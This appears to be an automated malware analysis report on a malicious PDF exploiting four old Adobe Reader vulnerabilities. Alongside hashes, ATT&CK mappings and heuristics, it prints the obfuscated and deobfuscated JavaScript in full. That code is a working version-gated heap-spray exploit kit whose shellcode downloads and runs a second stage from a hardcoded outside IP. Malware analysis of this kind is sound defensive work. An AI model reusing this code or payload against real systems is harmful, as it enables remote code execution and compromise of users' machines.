Malicious PDF — malware analysis report

Static analysis result for SHA-256 71db16db9a146638…

MALICIOUS

PDF

12.4 KB
MD5: 69481fd4eacc5ca5d7a85a6809f934e2 SHA-1: e6e46b09949635cb1b6f368bdc10894f571019a0 SHA-256: 71db16db9a146638aceff1b19e576889d5856c0162d2df200ff856000b6f943a
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The embedded JavaScript exploits multiple known vulnerabilities in Adobe Reader, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript contains a URL that is used to download a second-stage payload. This indicates a clear intent to exploit the user's system and download further malicious content.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://66.199.229.50/w.php?f=34&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js
34f3e56b3066ac9a768105c703de3cff02f1cae23361de07f210753cb4c3be0d		 pdf-javascript-stream PDF /JS object 76 at offset 0x369 11569 bytes
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(74,47,60,27,60,50,32,50,40,40,64,18,9,12,30,50,21,3,72,20,63,63,21,3,47,10,27,17,21,3,72,31,47,10,21,3,70,31,27,17,21,3,27,66,20,17,21,3,20,20,31,47,21,3,63,17,10,59,21,3,17,59,72,64,21,3,72,64,20,59,21,3,59,10,17,59,21,3,70,59,72,64,21,3,31,63,32,10,21,3,70,63,72,64,21,3,20,20,59,72,21,3,63,63,33,64,21,3,31,27,72,64,21,3,59,20,20,10,21,3,20,20,70,17,21,3,72,32,62,10,21,3,32,31,27,27,21,3,47,47,32,59,21,3,64,72,47,47,21,3,17,59,72,64,21,3,10,20,20,59,21,3,20,66,17,63,21,3,70,31,59,63,21,3,72,70,47,64,21,3,62,17,20,17,21,3,27,17,72,31,21,3,31,32,70,31,21,3,27,64,27,66,21,3,31,32,17,10,21,3,72,64,31,63,21,3,20,10,70,31,21,3,70,17,72,64,21,3,70,72,20,31,21,3,47,31,59,20,21,3,72,64,31,63,21,3,62,59,70,63,21,3,47,31,59,20,21,3,10,66,20,20,21,3,17,32,17,66,21,3,56,33,47,10,21,3,10,31,59,20,21,3,33,64,20,20,21,3,64,27,59,47,21,3,20,72,32,59,21,3,70,17,47,62,21,3,10,32,59,72,21,3,59,33,10,64,21,3,33,56,59,20,21,3,27,64,17,59,21,3,20,64,47,32,21,3,70,31,32,47,21,3,31,27,27,63,21,3,31,27,72,64,21,3,59,20,62,17,21,3,63,63,33,33,21,3,59,10,72,64,21,3,72,33,17,64,21,3,27,10,17,63,21,3,31,17,47,47,21,3,59,10,62,17,21,3,33,72,72,64,21,3,33,33,59,20,21,3,59,17,72,64,21,3,59,20,72,64,21,3,56,64,10,31,21,3,31,66,31,27,21,3,27,64,10,20,21,3,56,33,31,20,21,3,63,72,72,64,21,3,72,59,62,59,21,3,59,10,70,33,21,3,70,17,20,20,21,3,66,63,59,20,21,3,47,20,27,64,21,3,63,72,72,64,21,3,72,64,59,72,21,3,63,56,47,70,21,3,31,66,59,31,21,3,66,72,27,72,21,3,47,47,47,47,21,3,27,62,47,47,21,3,27,72,47,66,21,3,59,59,59,59,21,3,59,59,59,59,21,3,31,59,31,72,21,3,17,59,63,56,21,3,47,47,63,72,21,3,59,59,59,59,21,3,31,59,59,59,21,3,10,59,72,20,21,3,31,59,32,66,21,3,72,64,31,31,21,3,72,64,27,10,21,3,32,59,31,27,21,3,10,20,72,20,21,3,47,47,59,31,21,3,63,72,27,20,21,3,63,27,63,47,21,3,59,59,59,59,21,3,70,31,63,72,21,3,63,10,70,62,21,3,31,17,63,33,21,3,32,63,47,47,21,3,10,17,72,20,21,3,72,64,59,72,21,3,27,72,27,72,21,3,47,47,63,32,21,3,47,47,47,47,21,3,59,62,27,64,21,3,70,62,27,64,21,3,27,10,72,32,21,3,59,32,59,17,21,3,59,59,59,59,21,3,31,10,72,33,21,3,59,10,62,17,21,3,59,17,10,70,21,3,70,62,62,17,21,3,63,70,63,31,21,3,10,70,70,20,21,3,62,17,17,17,21,3,70,63,59,17,21,3,20,20,70,62,21,3,10,70,20,62,21,3,62,17,17,17,21,3,62,59,59,72,21,3,70,20,62,33,21,3,31,20,62,59,21,3,47,72,63,72,21,3,59,59,59,59,21,3,47,47,59,59,21,3,59,10,31,63,21,3,27,72,72,64,21,3,10,66,20,20,21,3,10,70,31,32,21,3,32,33,17,17,21,3,70,70,59,59,21,3,63,62,70,59,21,3,10,70,70,17,21,3,32,33,17,17,21,3,62,27,59,31,21,3,63,10,63,17,21,3,10,63,63,10,21,3,32,33,17,17,21,3,59,59,59,66,21,3,72,56,31,66,21,3,59,17,10,32,21,3,72,72,20,59,21,3,32,33,17,17,21,3,17,32,59,17,21,3,63,56,31,32,21,3,63,56,59,59,21,3,31,20,59,59,21,3,63,56,31,70,21,3,47,47,59,59,21,3,32,17,31,63,21,3,10,59,72,31,21,3,32,63,70,31,21,3,59,59,63,56,21,3,47,47,31,20,21,3,59,17,31,63,21,3,59,59,63,56,21,3,27,64,72,20,21,3,31,20,59,10,21,3,31,63,47,47,21,3,72,20,59,17,21,3,59,10,10,20,21,3,59,62,27,64,21,3,32,20,27,64,21,3,72,59,17,70,21,3,59,59,20,47,21,3,47,56,70,31,21,3,72,59,17,70,21,3,59,59,20,47,21,3,10,17,70,31,21,3,59,59,63,56,21,3,47,27,63,56,21,3,31,63,47,47,21,3,27,72,59,72,21,3,47,27,66,10,21,3,47,47,47,47,21,3,17,27,72,27,21,3,27,10,59,27,21,3,47,27,66,72,21,3,59,27,72,56,21,3,63,47,72,66,21,3,64,33,59,32,21,3,10,56,20,20,21,3,31,64,72,56,21,3,10,63,32,64,21,3,70,66,17,63,21,3,32,56,20,63,21,3,70,59,62,47,21,3,70,17,63,72,21,3,70,59,70,17,21,3,62,47,20,56,21,3,20,63,62,47,21,3,62,27,20,63,21,3,20,66,20,32,21,3,62,27,20,66,21,3,20,62,20,62,21,3,62,27,20,66,21,3,20,59,20,31,21,3,70,70,62,47,21,3,70,59,62,27,21,3,70,59,63,72,21,3,63,63,20,47,21,3,20,20,20,33,21,3,62,63,20,17,21,3,20,33,63,31,21,3,59,59,20,31,21,3,59,59,59,59,50,51,47,3,73,10,28,74,43,73,44,27,46,35,0,60,0,56,71,53,48,40,67,7,5,74,52,27,60,0,56,14,52,27,73,12,28,5,24,62,61,53,48,40,67,0,56,58,30,0,56,51,1,0,56,30,0,56,14,9,3,64,9,28,0,74,73,12,60,59,71,53,48,42,62,40,51,0,27,28,3,0,73,44,0,56,51,1,44,47,3,73,10,28,74,43,73,44,64,15,60,40,67,35,56,0,44,33,75,12,30,73,27,7,44,69,0,0,56,48,60,40,51,35,56,0,44,35,7,30,59,15,59,10,59,10,
... (truncated)
generic_stage_recovery_000.js
f5016b1509d374bd49e0786dbbd039bd723f4c33d04807d5506f3e4531965556		 deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3858 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u333d%u2634%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js
3d5345d2e0ed42e6fa59d41c90ed5566f751c43bf58bec8a96d75d28513d7951		 deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3854 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u333d%u2634%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

Open this report in the interactive analyzer, or submit your own file for analysis.